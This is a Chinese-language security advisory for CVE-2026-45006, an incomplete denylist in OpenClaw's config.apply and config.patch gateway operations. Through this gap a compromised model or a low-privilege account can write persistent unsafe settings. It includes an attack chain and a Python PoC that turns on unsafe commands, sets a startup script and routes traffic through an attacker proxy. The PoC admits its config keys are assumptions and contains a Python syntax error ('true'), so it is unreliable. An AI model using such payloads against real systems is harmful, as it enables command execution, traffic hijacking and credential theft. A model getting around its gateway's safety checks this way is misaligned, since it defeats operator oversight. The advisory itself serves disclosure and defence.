IPBUF安全漏洞报告
English
CVE-2026-45006 CVSS 8.8 高危

CVE-2026-45006 OpenClaw访问控制漏洞致配置篡改

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-45006
漏洞类型
访问控制失效
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制配置篡改OpenClaw拒绝列表绕过高危漏洞

漏洞概述

OpenClaw 2026.4.23之前的版本在网关工具的config.apply和config.patch操作中存在访问控制失效漏洞。由于不完整的拒绝列表保护,受损的模型可以绕过限制写入不安全的配置更改。攻击者可以利用此漏洞持久化恶意配置修改,影响命令执行、网络行为、凭据和操作员策略,且这些修改在重启后依然存在。

技术细节

该漏洞的核心在于OpenClaw网关工具处理配置变更时的安全校验机制不足。系统试图通过维护一份“拒绝列表”来阻止敏感配置参数(如命令执行、网络设置等)被修改。然而,该列表存在覆盖不全的问题,导致攻击者能够识别并利用未被列入黑名单的配置键值对进行攻击。当攻击者通过 compromised model 或低权限账户向config.apply或config.patch接口发送特制的恶意JSON数据时,系统无法有效拦截。这使得攻击者能够注入任意配置,从而控制系统行为,实现远程代码执行、凭证窃取或网络流量劫持。由于这些配置被写入持久化存储,攻击效果在系统重启后依然保留,具有极高的隐蔽性和持久性。

攻击链分析

STEP 1
1. 初始访问
攻击者获得低权限账户访问权限或攻陷了与OpenClaw交互的模型,获取API访问令牌。
STEP 2
2. 探测与绕过
攻击者分析网关工具的配置接口,发现拒绝列表不完整,识别出可被利用的配置参数。
STEP 3
3. 恶意配置注入
攻击者向config.apply或config.patch端点发送特制的恶意配置数据,绕过安全检查。
STEP 4
4. 持久化与影响
恶意配置被写入系统,导致命令执行权限提升、网络行为改变或凭证泄露,且重启后有效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example) target_url = "http://target-openclaw-instance/api/gateway/config.patch" # Malicious payload bypassing the incomplete denylist # Assuming 'execution_policy' is a config key not in the denylist but affects command execution payload = { "config": { "execution_policy": { "allow_unsafe_commands": true, "startup_script": "malicious_command.sh" }, "network_settings": { "proxy": "http://attacker-controlled-proxy.com" } } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Vulnerability exploited! Configuration updated.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.4.23

防御指南

临时缓解措施
建议立即将OpenClaw组件升级到2026.4.23或更高版本以修复此漏洞。如果无法立即升级,应通过网络 ACL 严格限制对网关配置接口(config.apply 和 config.patch)的访问,并密切审查系统当前的配置文件以确保尚未被篡改。

参考链接